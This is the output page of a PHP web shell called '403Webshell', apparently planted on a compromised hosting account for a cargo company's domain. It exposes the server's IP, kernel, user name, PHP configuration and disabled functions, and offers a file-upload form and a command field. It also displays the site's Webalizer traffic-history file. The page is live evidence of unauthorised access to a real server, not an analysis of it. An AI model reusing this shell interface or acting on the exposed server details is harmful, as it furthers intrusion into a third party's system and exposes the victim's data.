403Webshell
Server IP : 27.254.86.99  /  Your IP : 216.73.216.234
Web Server : LiteSpeed
System : Linux wp1.hostneverdie.com 4.18.0-553.46.1.lve.el8.x86_64 #1 SMP Wed Apr 2 11:16:45 UTC 2025 x86_64
User : qtccargo ( 1078)
PHP Version : 8.2.29
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,pcntl_exec,virtual,suexec,dbmopen,dl,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/qtccargo/domains/qtccargo.com/stats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/qtccargo/domains/qtccargo.com/stats/webalizer.hist
# Webalizer V2.23-08 History Data - 09/May/2026 00:24:04 (120 month)
5 2026 14010 6389 784 231456 1 8 7911 2066
4 2026 35558 18288 2725 487571 1 30 18501 4977
3 2026 12056 9616 2683 144428 1 31 3301 1919
2 2026 11039 7867 2286 128766 1 28 3688 2382
1 2026 54657 24132 2362 874728 1 31 31616 9051
12 2025 50655 26018 2739 760854 1 31 26354 7935
11 2025 20959 17405 3453 193729 1 30 5480 3548
10 2025 19365 15040 3093 149449 1 31 7139 4161
9 2025 38082 20814 2482 516074 1 30 18096 6889
8 2025 70484 32610 1808 1041833 1 31 38871 9376
7 2025 9539 7377 1610 107432 1 31 2696 2154
6 2025 9877 7773 1513 111505 1 30 2781 2213
5 2025 37055 25191 1932 401869 1 31 13379 6013
4 2025 102783 60600 2055 1255058 1 30 45143 11468
3 2025 27846 19895 1913 348637 1 31 9169 3945
2 2025 14045 10792 1490 161725 1 28 4766 2702
1 2025 17304 13004 1438 195900 1 31 6528 3412
12 2024 70892 36343 1503 1001952 1 31 35480 9627
11 2024 50152 27536 1425 658301 1 30 23202 6689
10 2024 23869 18449 1246 276128 1 31 7781 3000
9 2024 16946 12641 1179 293693 1 30 5936 3527
8 2024 52639 28682 1278 809447 1 31 25914 7633
7 2024 73092 39740 1335 1087286 1 31 36088 9703
6 2024 18022 13274 1098 311026 1 30 6203 3085
5 2024 16207 11301 1129 512295 1 31 8224 3146
4 2024 14162 9497 972 323157 1 30 6546 3688
3 2024 76557 29757 1093 1297250 1 31 48019 12216
2 2024 30636 15828 1109 382676 1 29 11228 5596
1 2024 17391 9672 938 226217 1 31 7797 5852
12 2023 21529 13163 887 237024 1 31 9461 6420
11 2023 43958 16943 952 696429 1 30 27079 7562
10 2023 51618 19970 947 838343 1 31 32052 8310
9 2023 12956 9343 1075 131217 1 30 5063 2821
8 2023 17228 11688 1253 247701 1 31 5871 3749
7 2023 26637 16351 1229 374302 1 31 10085 4426
6 2023 89777 36258 1037 1483539 1 30 55731 15009
5 2023 15890 9453 982 242428 1 31 6125 3436
4 2023 26823 14217 1076 369467 1 30 6883 4449
3 2023 93909 47418 1556 1250667 1 31 27048 9789
2 2023 102699 41756 1608 1298655 1 28 39334 7769
1 2023 86053 27736 825 1505577 24 31 54522 3694
12 2022 0 0 0 0 0 0 0 0
11 2022 0 0 0 0 0 0 0 0
10 2022 0 0 0 0 0 0 0 0
9 2022 0 0 0 0 0 0 0 0
8 2022 0 0 0 0 0 0 0 0
7 2022 0 0 0 0 0 0 0 0
6 2022 0 0 0 0 0 0 0 0
5 2022 0 0 0 0 0 0 0 0
4 2022 0 0 0 0 0 0 0 0
3 2022 0 0 0 0 0 0 0 0
2 2022 0 0 0 0 0 0 0 0
1 2022 0 0 0 0 0 0 0 0
12 2021 0 0 0 0 0 0 0 0
11 2021 0 0 0 0 0 0 0 0
10 2021 0 0 0 0 0 0 0 0
9 2021 0 0 0 0 0 0 0 0
8 2021 0 0 0 0 0 0 0 0
7 2021 0 0 0 0 0 0 0 0
6 2021 0 0 0 0 0 0 0 0
5 2021 0 0 0 0 0 0 0 0
4 2021 0 0 0 0 0 0 0 0
3 2021 0 0 0 0 0 0 0 0
2 2021 0 0 0 0 0 0 0 0
1 2021 0 0 0 0 0 0 0 0
12 2020 0 0 0 0 0 0 0 0
11 2020 0 0 0 0 0 0 0 0
10 2020 0 0 0 0 0 0 0 0
9 2020 0 0 0 0 0 0 0 0
8 2020 0 0 0 0 0 0 0 0
7 2020 0 0 0 0 0 0 0 0
6 2020 0 0 0 0 0 0 0 0
5 2020 0 0 0 0 0 0 0 0
4 2020 0 0 0 0 0 0 0 0
3 2020 0 0 0 0 0 0 0 0
2 2020 0 0 0 0 0 0 0 0
1 2020 0 0 0 0 0 0 0 0
12 2019 0 0 0 0 0 0 0 0
11 2019 0 0 0 0 0 0 0 0
10 2019 0 0 0 0 0 0 0 0
9 2019 0 0 0 0 0 0 0 0
8 2019 0 0 0 0 0 0 0 0
7 2019 0 0 0 0 0 0 0 0
6 2019 0 0 0 0 0 0 0 0
5 2019 0 0 0 0 0 0 0 0
4 2019 0 0 0 0 0 0 0 0
3 2019 0 0 0 0 0 0 0 0
2 2019 0 0 0 0 0 0 0 0
1 2019 0 0 0 0 0 0 0 0
12 2018 0 0 0 0 0 0 0 0
11 2018 0 0 0 0 0 0 0 0
10 2018 0 0 0 0 0 0 0 0
9 2018 0 0 0 0 0 0 0 0
8 2018 0 0 0 0 0 0 0 0
7 2018 0 0 0 0 0 0 0 0
6 2018 0 0 0 0 0 0 0 0
5 2018 0 0 0 0 0 0 0 0
4 2018 0 0 0 0 0 0 0 0
3 2018 0 0 0 0 0 0 0 0
2 2018 0 0 0 0 0 0 0 0
1 2018 0 0 0 0 0 0 0 0
12 2017 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0
8 2016 0 0 0 0 0 0 0 0
7 2016 0 0 0 0 0 0 0 0
6 2016 0 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit